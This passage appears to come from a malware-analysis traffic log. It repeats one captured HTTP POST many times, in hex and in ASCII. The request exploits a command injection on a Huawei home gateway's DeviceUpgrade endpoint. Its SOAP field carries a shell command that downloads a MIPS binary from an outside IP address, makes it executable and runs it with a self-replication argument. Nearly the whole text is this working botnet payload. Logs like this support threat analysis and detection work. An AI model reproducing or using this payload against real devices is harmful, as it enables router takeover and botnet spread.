6e 64 69 6e 65 74 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 205.185.120.123 -l /tmp/.condinet -r /skid.mips; /bin/busybox chmod 777 * /tmp/.condinet; /tmp/.condinet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 30 35 2e 31 38 35 2e 31 32 30 2e 31 32 33 20 2d 6c 20 2f 74 6d 70 2f 2e 63 6f 6e 64 69 6e 65 74 20 2d 72 20 2f 73 6b 69 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 63 6f 6e 64 69 6e 65 74 3b 20 2f 74 6d 70 2f 2e 63 6f 6e 64 69 6e 65 74 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 205.185.120.123 -l /tmp/.condinet -r /skid.mips; /bin/busybox chmod 777 * /tmp/.condinet; /tmp/.condinet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 30 35 2e 31 38 35 2e 31 32 30 2e 31 32 33 20 2d 6c 20 2f 74 6d 70 2f 2e 63 6f 6e 64 69 6e 65 74 20 2d 72 20 2f 73 6b 69 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 63 6f 6e 64 69 6e 65 74 3b 20 2f 74 6d 70 2f 2e 63 6f 6e 64 69 6e 65 74 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 205.185.120.123 -l /tmp/.condinet -r /skid.mips; /bin/busybox chmod 777 * /tmp/.condinet; /tmp/.condinet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 30 35 2e 31 38 35 2e 31 32 30 2e 31 32 33 20 2d 6c 20 2f 74 6d 70 2f 2e 63 6f 6e 64 69 6e 65 74 20 2d 72 20 2f 73 6b 69 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 63 6f 6e 64 69 6e 65 74 3b 20 2f 74 6d 70 2f 2e 63 6f 6e 64 69 6e 65 74 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 205.185.120.123 -l /tmp/.condinet -r /skid.mips; /bin/busybox chmod 777 * /tmp/.condinet; /tmp/.condinet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 30 35 2e 31 38 35 2e 31 32 30 2e 31 32 33 20 2d 6c 20 2f 74 6d 70 2f 2e 63 6f 6e 64 69 6e 65 74 20 2d 72 20 2f 73 6b 69 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 63 6f 6e 64 69 6e 65 74 3b 20 2f 74 6d 70 2f 2e 63 6f 6e 64 69 6e 65 74 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 205.185.120.123 -l /tmp/.condinet -r /skid.mips; /bin/busybox chmod 777 * /tmp/.condinet; /tmp/.condinet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 30 35 2e 31 38 35 2e 31 32 30 2e 31 32 33 20 2d 6c 20 2f 74 6d 70 2f 2e 63 6f 6e 64 69 6e 65 74 20 2d 72 20 2f 73 6b 69 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 63 6f 6e 64 69 6e 65 74 3b 20 2f 74 6d 70 2f 2e 63 6f 6e 64 69 6e 65 74 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 205.185.120.123 -l /tmp/.condinet -r /skid.mips; /bin/busybox chmod 777 * /tmp/.condinet; /tmp/.condinet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 30 35 2e 31 38 35 2e 31 32 30 2e 31 32 33 20 2d 6c 20 2f 74 6d 70 2f 2e 63 6f 6e 64 69 6e 65 74 20 2d 72 20 2f 73 6b 69 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 63 6f 6e 64 69 6e 65 74 3b 20 2f 74 6d 70 2f 2e 63 6f 6e 64 69 6e 65 74 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 205.185.120.123 -l /tmp/.condinet -r /skid.mips; /bin/busybox chmod 777 * /tmp/.condinet; /tmp/.condinet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 30 35 2e 31 38 35 2e 31 32 30 2e 31 32 33 20 2d 6c 20 2f 74 6d 70 2f 2e 63 6f 6e 64 69 6e 65 74 20 2d 72 20 2f 73 6b 69 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 63 6f 6e 64 69 6e 65 74 3b 20 2f 74 6d 70 2f 2e 63 6f 6e 64 69 6e 65 74 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 205.185.120.123 -l /tmp/.condinet -r /skid.mips; /bin/busybox chmod 777 * /tmp/.condinet; /tmp/.condinet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 30 35 2e 31 38 35 2e 31 32 30 2e 31 32 33 20 2d 6c 20 2f 74 6d 70 2f 2e 63 6f 6e 64 69 6e 65 74 20 2d 72 20 2f 73 6b 69 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 63 6f 6e 64 69 6e 65 74 3b 20 2f 74 6d 70 2f 2e 63 6f 6e 64 69 6e 65 74 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 205.185.120.123 -l /tmp/.condinet -r /skid.mips; /bin/busybox chmod 777 * /tmp/.condinet; /tmp/.condinet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 30 35 2e 31 38 35 2e 31 32 30 2e 31 32 33 20 2d 6c 20 2f 74 6d 70 2f 2e 63 6f 6e 64 69 6e 65 74 20 2d 72 20 2f 73 6b 69 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 63 6f 6e 64 69 6e 65 74 3b 20 2f 74 6d 70 2f 2e 63 6f 6e 64 69 6e 65 74 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 